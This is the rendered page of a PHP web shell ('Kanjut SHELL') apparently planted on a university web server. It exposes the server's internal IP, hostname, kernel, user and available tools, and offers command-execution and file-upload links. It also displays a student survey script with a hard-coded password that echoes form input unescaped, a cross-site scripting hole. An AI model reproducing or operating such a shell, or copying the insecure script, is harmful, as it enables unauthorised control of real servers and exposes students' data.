Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.128.31.227
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/eabracy/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/eabracy/www/courseresults.php
<?php session_start(); ?>

<?php
        $pass = $_SESSION['psw'];
        $_SESSION['psw']= $pass;

        if ($pass != "ch7hw")
                print "Go away.";
        else
        {
?>
<?php
	$a1 = $_POST['q1'];
        $a2 = $_POST['q2'];
        $a3 = $_POST['q3'];
        $a4 = $_POST['q4'];
	$co1 = $_POST['c1'];
        $co2 = $_POST['c2'];
        $co3 = $_POST['c3'];
        $co4 = $_POST['c4'];
	$sname = $_SESSION['nme'];
	$sgender = $_SESSION['gen'];
	$syear = $_SESSION['year'];
	$scourse =$_SESSION['cour'];
	print nl2br( "Student's name: $sname\n\r");
	print nl2br ( "Student's gender: $sgender\n\r");
       
	print nl2br( "Student's year: $syear\n\r");
 
	print nl2br( "Survey results for $scourse\n\r");
 
	print " 1. $a1 that lessons are conducted in timely manner";
	print nl2br( " Comments on 1: $co1\n\r");
 	print " 2. $a2 there is enough time to reflect on assignments";
	print nl2br( " Comments on 2: $co2\n\r");
 	print " 3. $a3 that the coursework is relevant";
        print nl2br( " Comments on 3: $co3\n\r");
 	print " 4. $a4 that class was a good use of time";
        print nl2br( " Comments on 4: $co4\n\r");

?>
<?php
	}
?> 
	 




Stv3n404 - 2023